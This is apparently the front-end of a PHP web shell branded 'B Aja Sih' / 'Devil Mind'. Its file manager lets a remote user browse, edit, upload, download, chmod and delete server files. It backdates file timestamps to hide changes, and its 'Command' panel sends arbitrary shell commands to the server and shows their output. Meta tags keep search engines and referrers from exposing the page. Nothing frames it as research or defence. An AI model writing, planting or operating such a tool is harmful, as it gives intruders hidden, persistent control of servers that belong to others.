<meta name="robots" content="noindex, nofollow, noarchive, nosnippet">
<meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet">
<meta name="referrer" content="no-referrer">
<link rel="canonical" href="<?= e($canonicalUrl) ?>">
<meta property="og:type" content="website">
<meta property="og:site_name" content="B Aja Sih">
<meta property="og:title" content="<?= e($seoTitle) ?>">
<meta property="og:description" content="<?= e($seoDescription) ?>">
<meta property="og:url" content="<?= e($canonicalUrl) ?>">
<meta property="og:image" content="<?= e($seoImage) ?>">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="<?= e($seoTitle) ?>">
<meta name="twitter:description" content="<?= e($seoDescription) ?>">
<meta name="twitter:image" content="<?= e($seoImage) ?>">
<link rel="icon" type="image/x-icon" href="https://cdn-icons-png.flaticon.com/512/9936/9936602.png">
<link rel="icon" type="image/png" sizes="32x32" href="https://cdn-icons-png.flaticon.com/512/9936/9936602.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://cdn-icons-png.flaticon.com/512/9936/9936602.png">
<link href="https://fonts.googleapis.com/css2?family=Mynerve&display=swap" rel="stylesheet">
<script src="https://cdn.tailwindcss.com"></script>
<style>
body { background: #000; }
.panel {
background: #000;
border: 2px solid #3f3f46;
border-radius: 0;
box-shadow: none;
}
.mono-scroll { scrollbar-color: #737373 #0a0a0a; }
.brand-font { font-family: 'Mynerve', cursive; }
.border { border-width: 2px !important; }
.top-actions-grid { display: grid; grid-template-columns: repeat(4, minmax(0, 1fr)); gap: 0.5rem; }
.file-table { width: 100%; min-width: 980px; }
.row-actions { gap: 0.5rem; }
.row-actions-group { gap: 0.25rem; }
.row-actions-desktop { display: flex; }
.row-actions-mobile { display: none; }
.action-select {
min-width: 150px;
max-width: 100%;
padding: 0.35rem 0.45rem;
font-size: 0.78rem;
background: #fff;
color: #111;
border: 2px solid #3f3f46;
}
.action-btn {
padding: 0.25rem 0.5rem;
line-height: 1.15;
white-space: nowrap;
}
.action-btn.long {
white-space: normal;
text-align: center;
}
.action-btn { font-size: 0.84rem; }
@media (max-width: 1024px) {
.file-table { min-width: 900px; }
}
@media (max-width: 768px) {
.top-actions-grid { grid-template-columns: repeat(2, minmax(0, 1fr)); }
.file-table { min-width: 820px; }
.row-actions { gap: 0.35rem; }
.row-actions-group { gap: 0.2rem; }
.row-actions-desktop { display: none !important; }
.row-actions-mobile { display: block !important; }
.action-btn {
padding: 0.2rem 0.35rem;
font-size: 0.72rem;
line-height: 1.08;
border-width: 1px !important;
}
.action-select {
min-width: 120px;
font-size: 0.72rem;
padding: 0.3rem 0.35rem;
border-width: 1px;
}
}
@media (max-width: 520px) {
.top-actions-grid { grid-template-columns: 1fr; }
.file-table { min-width: 760px; }
.action-btn {
padding: 0.18rem 0.3rem;
font-size: 0.68rem;
}
}
</style>
</head>
<body class="min-h-screen text-white">
<div class="max-w-[1700px] mx-auto p-4 md:p-6 space-y-4">
<?php if ($flash !== null): ?>
<div class="border border-neutral-500 bg-black px-4 py-3 text-sm">
[<?= e(strtoupper((string) $flash['type'])) ?>] <?= e((string) $flash['message']) ?>
</div>
<?php endif; ?>
<div class="text-center mb-6">
<h1 class="text-3xl sm:text-4xl font-bold tracking-tight brand-font">
<button type="button" id="titleHomeBtn" class="bg-transparent border-0 p-0 m-0 text-inherit cursor-pointer">B Aja Sih</button>
</h1>
</div>
<div class="space-y-4">
<div class="panel p-4">
<div id="fullPathCrumbs" class="flex flex-wrap items-center gap-2 break-all">
<?php foreach ($fullPathCrumbs as $i => $crumb): ?>
<a href="#<?= e(rawurlencode((string) $crumb['query'])) ?>" class="px-2 py-1 border border-neutral-600 bg-black hover:bg-neutral-900 text-white text-sm"><?= e((string) $crumb['label']) ?></a>
<?php if ($i < count($fullPathCrumbs) - 1): ?><span class="text-neutral-500">|</span><?php endif; ?>
<?php endforeach; ?>
</div>
</div>
<div class="panel p-4">
<div class="top-actions-grid">
<button type="button" class="createFileBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Create File</button>
<button type="button" class="createFolderBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Create Folder</button>
<button type="button" class="uploadBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Upload</button>
<button type="button" class="commandBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Command</button>
</div>
</div>
<div id="inputFormBox" class="panel p-4" style="display: none;">
<div class="flex items-center justify-between mb-2">
<h2 id="inputFormTitle" class="font-semibold">Form</h2>
<button type="button" class="closeInputBtn text-xs px-2 py-1 border border-neutral-600 bg-black hover:bg-neutral-900">Close</button>
</div>
<div id="inputFormContent"></div>
</div>
<input type="hidden" id="fm_token" value="<?= e($_SESSION['fm_token']) ?>">
<input type="hidden" id="fm_currentPath" value="<?= e(rel_path($scopeRoot, $currentDir)) ?>">
<input type="file" id="hiddenFileInput" multiple style="display: none;">
<input type="hidden" id="fm_homeRel" value="<?= e($homeRel) ?>">
<div class="panel p-4">
<form id="bulkForm" method="post">
<input type="hidden" name="token" value="<?= e($_SESSION['fm_token']) ?>">
<input type="hidden" name="action" id="bulkAction" value="">
<div class="flex flex-col sm:flex-row sm:items-center sm:justify-between gap-2 mb-3">
<h2 class="font-semibold brand-font text-xl">List</h2>
<div class="flex flex-wrap gap-2">
<button type="button" onclick="setBulkAction('bulk_zip')" class="px-3 py-1.5 text-xs sm:text-sm bg-white text-black hover:bg-neutral-300">Zip Selected</button>
<button type="button" onclick="setBulkAction('bulk_delete')" class="px-3 py-1.5 text-xs sm:text-sm border border-neutral-500 bg-black text-white hover:bg-neutral-900">Delete Selected</button>
</div>
</div>
<div class="overflow-x-auto">
<table class="file-table text-xs sm:text-sm">
<thead>
<tr class="text-neutral-400 border-b border-neutral-700">
<th class="py-2 pr-2 text-left"><input id="checkAll" type="checkbox" class="accent-white"></th>
<th class="py-2 pr-2 text-left flex-1">Name</th>
<th class="py-2 pr-2 w-20 text-center">Type</th>
<th class="py-2 pr-2 w-24 text-center">Size</th>
<th class="py-2 pr-2 w-24 text-center">Permission</th>
<th class="py-2 pr-2 w-40 text-center">Date</th>
<th class="py-2 pr-0 text-center"></th>
</tr>
</thead>
<tbody>
<?php if (count($rows) === 0): ?>
<tr>
<td colspan="7" class="py-4 text-neutral-500">Directory is empty.</td>
</tr>
<?php endif; ?>
<?php foreach ($rows as $row): ?>
<tr class="border-b border-neutral-800 align-top">
<td class="py-2 pr-2">
<input type="checkbox" name="selected[]" value="<?= e((string) $row['rel']) ?>" class="itemCheck accent-white">
</td>
<td class="py-2 pr-2 break-all">
<?php if ($row['type'] === 'folder'): ?>
<a href="#<?= e(rawurlencode((string) $row['rel'])) ?>" class="font-bold hover:underline"><?= e((string) $row['name']) ?></a>
<?php else: ?>
<a href="#view/<?= e(rawurlencode((string) $row['rel'])) ?>" class="hover:underline"><?= e((string) $row['name']) ?></a>
<?php endif; ?>
</td>
<td class="py-2 pr-2 w-20 uppercase text-xs text-center"><?= e((string) $row['type']) ?></td>
<td class="py-2 pr-2 w-24 text-center"><?= e((string) $row['size']) ?></td>
<td class="py-2 pr-2 w-24 text-center"><?= e((string) $row['perm']) ?></td>
<td class="py-2 pr-2 w-40 whitespace-nowrap text-center"><?= e((string) $row['mtime']) ?></td>
<td class="py-2 pr-0 text-right">
<div class="row-actions row-actions-desktop flex flex-wrap justify-end text-xs sm:text-sm">
<div class="row-actions-group flex">
<?php if ($row['type'] === 'file'): ?>
<a href="#edit/<?= e(rawurlencode((string) $row['rel'])) ?>" class="action-btn border border-neutral-600 bg-black hover:bg-neutral-900">edit</a>
<?php else: ?>
<span class="action-btn border border-neutral-800 text-neutral-500">edit</span>
<?php endif; ?>
<a href="?download=<?= e(rawurlencode((string) $row['rel'])) ?>" class="action-btn border border-neutral-600 bg-black text-white hover:bg-neutral-900">download</a>
</div>
<div class="row-actions-group flex">
<button type="button" data-item="<?= e((string) $row['rel']) ?>" data-name="<?= e((string) $row['name']) ?>" class="renameBtn action-btn border border-neutral-600 bg-black hover:bg-neutral-900">rename</button>
<button type="button" data-item="<?= e((string) $row['rel']) ?>" data-perm="<?= e((string) $row['perm']) ?>" class="permBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">permission</button>
<button type="button" data-item="<?= e((string) $row['rel']) ?>" data-date="<?= e(str_replace(' ', 'T', (string) $row['mtime'])) ?>" class="dateBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">change date</button>
<button type="button" data-item="<?= e((string) $row['rel']) ?>" class="deleteBtn action-btn bg-white text-black hover:bg-neutral-300">delete</button>
</div>
</div>
<div class="row-actions-mobile">
<select class="actionSelect action-select" data-item="<?= e((string) $row['rel']) ?>" data-type="<?= e((string) $row['type']) ?>" data-name="<?= e((string) $row['name']) ?>" data-perm="<?= e((string) $row['perm']) ?>" data-date="<?= e((string) $row['mtime']) ?>">
<option value="">Actions</option>
<option value="edit">edit</option>
<option value="download">download</option>
<option value="rename">rename</option>
<option value="permission">permission</option>
<option value="change_date">change date</option>
<option value="delete">delete</option>
</select>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</form>
</div>
<div class="text-center text-xs text-neutral-500">© <?= e(date('Y')) ?> Devil Mind.</div>
</div>
</div>
</div>
<form id="singleActionForm" method="post" class="hidden">
<input type="hidden" name="token" value="<?= e($_SESSION['fm_token']) ?>">
<input type="hidden" name="action" id="singleAction">
<input type="hidden" name="item" id="singleItem">
<input type="hidden" name="new_name" id="singleNewName">
<input type="hidden" name="perm" id="singlePerm">
<input type="hidden" name="new_date" id="singleDate">
</form>
<script>
let homeRel = document.getElementById('fm_homeRel').value;
let currentPath = document.getElementById('fm_homeRel').value;
function escapeHtml(text) {
const map = {'&': '&', '<': '<', '>': '>', '"': '"', "'": '''};
return String(text).replace(/[&<>"']/g, m => map[m]);
}
function showNotification(message, isSuccess) {
const prefix = isSuccess ? '[SUCCESS]' : '[ERROR]';
alert(prefix + ' ' + message);
}
function submitFormAjax(form, callback) {
return new Promise((resolve, reject) => {
const formData = new FormData(form);
fetch('', {method: 'POST', body: formData})
.then(r => r.text())
.then(text => {
try {
const data = JSON.parse(text);
showNotification(data.message, data.success);
if (data.success && callback) {
callback();
resolve();
} else {
reject(data.message);
}
} catch (e) {
showNotification('Invalid response: ' + text, false);
reject(e);
}
})
.catch(e => {
showNotification('Network error: ' + e.message, false);
reject(e);
});
});
}
function clearFilePanels() {
document.querySelectorAll('[data-view-panel], [data-edit-panel]').forEach(el => el.remove());
}
function showInputForm(title, htmlContent) {
document.getElementById('inputFormTitle').textContent = title;
document.getElementById('inputFormContent').innerHTML = htmlContent;
document.getElementById('inputFormBox').style.display = 'block';
}
function hideInputForm() {
document.getElementById('inputFormBox').style.display = 'none';
document.getElementById('inputFormContent').innerHTML = '';
}
document.querySelector('.closeInputBtn').addEventListener('click', hideInputForm);
document.getElementById('titleHomeBtn').addEventListener('click', function () {
loadFileList(homeRel);
});
function safeDecodeHashPart(value) {
try {
return decodeURIComponent(value);
} catch (e) {
return value;
}
}
function normalizeQueryPath(value) {
return String(value || '').replace(/\\/g, '/');
}
function loadFileList(path) {
fetch('?api=list&p=' + encodeURIComponent(path))
.then(r => r.json())
.then(data => {
const resolvedQuery = normalizeQueryPath(data.currentQuery || homeRel);
const requestedQuery = normalizeQueryPath(path || homeRel);
currentPath = resolvedQuery;
clearFilePanels();
updateBreadcrumbs(data.fullPathCrumbs);
updateFileTable(data.rows, data.currentDir);
if (requestedQuery !== resolvedQuery) {
window.location.hash = encodeURIComponent(resolvedQuery);
return;
}
window.history.replaceState(null, '', '#' + encodeURIComponent(resolvedQuery));
})
.catch(e => console.error('Load error:', e));
}
function updateBreadcrumbs(crumbs) {
const bc = document.getElementById('fullPathCrumbs');
if (!bc) return;
bc.innerHTML = crumbs.map((c, i) =>
'<a href="#' + encodeURIComponent(c.query) + '" class="px-2 py-1 border border-neutral-600 bg-black hover:bg-neutral-900 text-white">' + escapeHtml(c.label) + '</a>' +
(i < crumbs.length - 1 ? '<span class="text-neutral-500">|</span>' : '')
).join('');
}
function updateFileTable(rows) {
const tbody = document.querySelector('table tbody');
if (!tbody) return;
if (rows.length === 0) {
tbody.innerHTML = '<tr><td colspan="7" class="py-4 text-neutral-500">Directory is empty.</td></tr>';
return;
}
tbody.innerHTML = rows.map(row => {
let nameCell = '';
if (row.type === 'folder') {
nameCell = '<a href="#' + encodeURIComponent(row.rel) + '" class="font-bold hover:underline">' + escapeHtml(row.name) + '</a>';
} else {
nameCell = '<a href="#view/' + encodeURIComponent(row.rel) + '" class="hover:underline">' + escapeHtml(row.name) + '</a>';
}
return '<tr class="border-b border-neutral-800 align-top">' +
'<td class="py-2 pr-2"><input type="checkbox" name="selected[]" value="' + escapeHtml(row.rel) + '" class="itemCheck accent-white"></td>' +
'<td class="py-2 pr-2 break-all">' + nameCell + '</td>' +
'<td class="py-2 pr-2 w-20 uppercase text-xs text-center">' + escapeHtml(row.type) + '</td>' +
'<td class="py-2 pr-2 w-24 text-center">' + escapeHtml(row.size) + '</td>' +
'<td class="py-2 pr-2 w-24 text-center">' + escapeHtml(row.perm) + '</td>' +
'<td class="py-2 pr-2 w-40 whitespace-nowrap text-center">' + escapeHtml(row.mtime) + '</td>' +
'<td class="py-2 pr-0 text-xs sm:text-sm text-right">' +
'<div class="row-actions row-actions-desktop flex flex-wrap justify-end">' +
'<div class="row-actions-group flex">' +
(row.type === 'file' ? '<a href="#edit/' + encodeURIComponent(row.rel) + '" class="action-btn border border-neutral-600 bg-black hover:bg-neutral-900">edit</a>' : '<span class="action-btn border border-neutral-800 text-neutral-500">edit</span>') +
'<a href="?download=' + encodeURIComponent(row.rel) + '" class="action-btn border border-neutral-600 bg-black text-white hover:bg-neutral-900">download</a>' +
'</div>' +
'<div class="row-actions-group flex">' +
'<button type="button" data-item="' + escapeHtml(row.rel) + '" data-name="' + escapeHtml(row.name) + '" class="renameBtn action-btn border border-neutral-600 bg-black hover:bg-neutral-900">rename</button>' +
'<button type="button" data-item="' + escapeHtml(row.rel) + '" data-perm="' + escapeHtml(row.perm) + '" class="permBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">permission</button>' +
'<button type="button" data-item="' + escapeHtml(row.rel) + '" data-date="' + escapeHtml(row.mtime) + '" class="dateBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">change date</button>' +
'<button type="button" data-item="' + escapeHtml(row.rel) + '" class="deleteBtn action-btn bg-white text-black hover:bg-neutral-300">delete</button>' +
'</div>' +
'</div>' +
'<div class="row-actions-mobile">' +
'<select class="actionSelect action-select" data-item="' + escapeHtml(row.rel) + '" data-type="' + escapeHtml(row.type) + '" data-name="' + escapeHtml(row.name) + '" data-perm="' + escapeHtml(row.perm) + '" data-date="' + escapeHtml(row.mtime) + '">' +
'<option value="">Actions</option>' +
'<option value="edit">edit</option>' +
'<option value="download">download</option>' +
'<option value="rename">rename</option>' +
'<option value="permission">permission</option>' +
'<option value="change_date">change date</option>' +
'<option value="delete">delete</option>' +
'</select>' +
'</div>' +
'</td>' +
'</tr>';
}).join('');
attachActionHandlers();
}
function attachActionHandlers() {
document.querySelectorAll('.renameBtn').forEach(btn => {
btn.onclick = () => {
const newName = prompt('New name:', btn.dataset.name);
if (newName) submitRename(btn.dataset.item, newName);
};
});
document.querySelectorAll('.permBtn').forEach(btn => {
btn.onclick = () => {
const newPerm = prompt('New permission (octal):', btn.dataset.perm);
if (newPerm) submitPermission(btn.dataset.item, newPerm);
};
});
document.querySelectorAll('.dateBtn').forEach(btn => {
btn.onclick = () => {
const newDate = prompt('New date (YYYY-MM-DD HH:MM:SS):', btn.dataset.date);
if (newDate) submitChangeDate(btn.dataset.item, newDate);
};
});
document.querySelectorAll('.deleteBtn').forEach(btn => {
btn.onclick = () => {
if (confirm('Delete this item?')) submitDelete(btn.dataset.item);
};
});
document.querySelectorAll('.actionSelect').forEach(sel => {
sel.onchange = () => {
const action = sel.value;
if (!action) {
return;
}
const item = sel.dataset.item || '';
const itemType = (sel.dataset.type || '').toLowerCase();
if (action === 'edit') {
if (itemType !== 'file') {
showNotification('Edit only for files.', false);
} else {
window.location.hash = 'edit/' + encodeURIComponent(item);
}
sel.value = '';
return;
}
if (action === 'download') {
window.location.href = '?download=' + encodeURIComponent(item);
sel.value = '';
return;
}
if (action === 'rename') {
const newName = prompt('New name:', sel.dataset.name || '');
if (newName) {
submitRename(item, newName);
}
sel.value = '';
return;
}
if (action === 'permission') {
const newPerm = prompt('New permission (octal):', sel.dataset.perm || '');
if (newPerm) {
submitPermission(item, newPerm);
}
sel.value = '';
return;
}
if (action === 'change_date') {
const newDate = prompt('New date (YYYY-MM-DD HH:MM:SS):', sel.dataset.date || '');
if (newDate) {
submitChangeDate(item, newDate);
}
sel.value = '';
return;
}
if (action === 'delete') {
if (confirm('Delete this item?')) {
submitDelete(item);
}
sel.value = '';
}
};
});
}
function submitRename(item, newName) {
const formData = new FormData();
formData.append('token', document.querySelector('input[name="token"]').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'rename');
formData.append('item', item);
formData.append('new_name', newName);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
showNotification(data.message, data.success);
if (data.success) loadFileList(currentPath);
});
}
function submitPermission(item, perm) {
const formData = new FormData();
formData.append('token', document.querySelector('input[name="token"]').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'permission');
formData.append('item', item);
formData.append('perm', perm);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
showNotification(data.message, data.success);
if (data.success) loadFileList(currentPath);
});
}
function submitChangeDate(item, newDate) {
const formData = new FormData();
formData.append('token', document.querySelector('input[name="token"]').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'change_date');
formData.append('item', item);
formData.append('new_date', newDate);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
showNotification(data.message, data.success);
if (data.success) loadFileList(currentPath);
});
}
function submitDelete(item) {
const formData = new FormData();
formData.append('token', document.querySelector('input[name="token"]').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'delete');
formData.append('item', item);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
showNotification(data.message, data.success);
if (data.success) loadFileList(currentPath);
});
}
function loadViewPanel(fileRel) {
fetch('?api=view&file=' + encodeURIComponent(fileRel))
.then(r => r.json())
.then(data => {
if (!data.success) {
alert('[ERROR] ' + data.message);
return;
}
showInputForm('View File: ' + escapeHtml(fileRel), '<pre class="w-full h-72 overflow-auto bg-black border border-neutral-600 p-3 text-xs font-mono mono-scroll whitespace-pre-wrap break-words">' + escapeHtml(data.content) + '</pre>');
})
.catch(e => alert('[ERROR] Network error: ' + e.message));
}
function loadEditPanel(fileRel) {
fetch('?api=view&file=' + encodeURIComponent(fileRel))
.then(r => r.json())
.then(data => {
if (!data.success) {
alert('[ERROR] ' + data.message);
return;
}
showInputForm('Edit File: ' + escapeHtml(fileRel), '<textarea id="editFileContent" class="w-full h-72 overflow-auto bg-black border border-neutral-600 p-3 text-xs font-mono mono-scroll" style="resize: vertical;">' + escapeHtml(data.content) + '</textarea><button type="button" id="submitEditFile" class="mt-2 bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Save</button>');
document.getElementById('submitEditFile').addEventListener('click', () => {
const content = document.getElementById('editFileContent').value;
const formData = new FormData();
formData.append('token', document.getElementById('fm_token').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'save_edit');
formData.append('item', fileRel);
formData.append('content', content);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(d => {
showNotification(d.message, d.success);
if (d.success) { hideInputForm(); loadFileList(currentPath); }
});
});
})
.catch(e => alert('[ERROR] Network error: ' + e.message));
}
window.addEventListener('hashchange', function() {
let hash = window.location.hash.substring(1);
if (hash.startsWith('view/')) {
const file = hash.substring(5);
loadViewPanel(safeDecodeHashPart(file));
return;
}
if (hash.startsWith('edit/')) {
const file = hash.substring(5);
loadEditPanel(safeDecodeHashPart(file));
return;
}
if (!hash) {
loadFileList(homeRel);
return;
}
loadFileList(safeDecodeHashPart(hash));
});
window.addEventListener('load', function() {
let hash = window.location.hash.substring(1);
if (hash.startsWith('view/')) {
const file = hash.substring(5);
loadViewPanel(safeDecodeHashPart(file));
return;
}
if (hash.startsWith('edit/')) {
const file = hash.substring(5);
loadEditPanel(safeDecodeHashPart(file));
return;
}
if (!hash) hash = homeRel;
loadFileList(safeDecodeHashPart(hash));
// Attach action button handlers
document.querySelector('.createFileBtn').addEventListener('click', () => {
showInputForm('Create File', '<input type="text" id="createFileName" class="w-full bg-black border border-neutral-600 px-3 py-2 text-sm mb-2" placeholder="File name"><textarea id="createFileContent" class="w-full h-32 bg-black border border-neutral-600 px-3 py-2 text-sm font-mono mb-2" placeholder="File content (optional)"></textarea><button type="button" id="submitCreateFile" class="bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Create</button>');
document.getElementById('submitCreateFile').addEventListener('click', () => {
const name = document.getElementById('createFileName').value;
const content = document.getElementById('createFileContent').value;
if (!name) { alert('File name is required'); return; }
const formData = new FormData();
formData.append('token', document.getElementById('fm_token').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'create_file');
formData.append('name', name);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
if (data.success) {
const createdFileRel = data.data.file_rel || name;
if (content) {
const saveForm = new FormData();
saveForm.append('token', document.getElementById('fm_token').value);
saveForm.append('ajax', '1');
saveForm.append('p', currentPath);
saveForm.append('action', 'save_edit');
saveForm.append('item', createdFileRel);
saveForm.append('content', content);
fetch('', {method: 'POST', body: saveForm}).then(r => r.json()).then(d => {
showNotification(d.message, d.success);
if (d.success) {
loadFileList(currentPath);
hideInputForm();
}
});
} else {
showNotification(data.message, data.success);
loadFileList(currentPath);
hideInputForm();
}
} else {
showNotification(data.message, data.success);
}
});
});
});
document.querySelector('.createFolderBtn').addEventListener('click', () => {
showInputForm('Create Folder', '<input type="text" id="createFolderName" class="w-full bg-black border border-neutral-600 px-3 py-2 text-sm mb-2" placeholder="Folder name"><button type="button" id="submitCreateFolder" class="bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Create</button>');
document.getElementById('submitCreateFolder').addEventListener('click', () => {
const name = document.getElementById('createFolderName').value;
if (!name) { alert('Folder name is required'); return; }
const formData = new FormData();
formData.append('token', document.getElementById('fm_token').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'create_folder');
formData.append('name', name);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
showNotification(data.message, data.success);
if (data.success) { loadFileList(currentPath); hideInputForm(); }
});
});
});
document.querySelector('.uploadBtn').addEventListener('click', () => {
document.getElementById('hiddenFileInput').click();
});
document.getElementById('hiddenFileInput').addEventListener('change', (e) => {
const files = e.target.files;
if (files.length === 0) return;
const formData = new FormData();
formData.append('token', document.getElementById('fm_token').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'upload');
for (let i = 0; i < files.length; i++) {
formData.append('upload_file[]', files[i]);
}
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
showNotification(data.message, data.success);
if (data.success) loadFileList(currentPath);
e.target.value = '';
});
});
document.querySelector('.commandBtn').addEventListener('click', () => {
showInputForm('Command', '<input type="text" id="commandInput" class="w-full bg-black border border-neutral-600 px-3 py-2 text-sm mb-2" placeholder="Enter command..."><button type="button" id="submitCommand" class="bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Execute</button><div id="commandOutput" style="margin-top: 12px; display: none;"><div class="bg-black border border-neutral-600 p-3 text-xs font-mono max-h-64 overflow-auto whitespace-pre-wrap" id="commandOutputContent"></div></div>');
document.getElementById('submitCommand').addEventListener('click', () => {
const cmd = document.getElementById('commandInput').value;
if (!cmd) { alert('Command is required'); return; }
const formData = new FormData();
formData.append('token', document.getElementById('fm_token').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', 'command');
formData.append('cmd', cmd);
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
if (data.success) {
document.getElementById('commandOutput').style.display = 'block';
document.getElementById('commandOutputContent').textContent = data.data.output || '[no output]';
} else {
showNotification(data.message, false);
}
}).catch(e => showNotification('Network error: ' + e.message, false));
});
});
});
function setBulkAction(action) {
const checks = document.querySelectorAll('.itemCheck:checked');
if (!checks.length) {
alert('Select at least 1 item.');
return;
}
if (action === 'bulk_delete' && !confirm('Delete selected items?')) {
return;
}
const formData = new FormData();
formData.append('token', document.querySelector('input[name="token"]').value);
formData.append('ajax', '1');
formData.append('p', currentPath);
formData.append('action', action);
checks.forEach(chk => formData.append('selected[]', chk.value));
fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
showNotification(data.message, data.success);
if (data.success) loadFileList(currentPath);
});
}
document.getElementById('checkAll').addEventListener('change', function () {
document.querySelectorAll('.itemCheck').forEach((cb) => {
cb.checked = this.checked;
});
});
</script>
</body>
</html>
Directory Contents
Dirs: 6 × Files: 24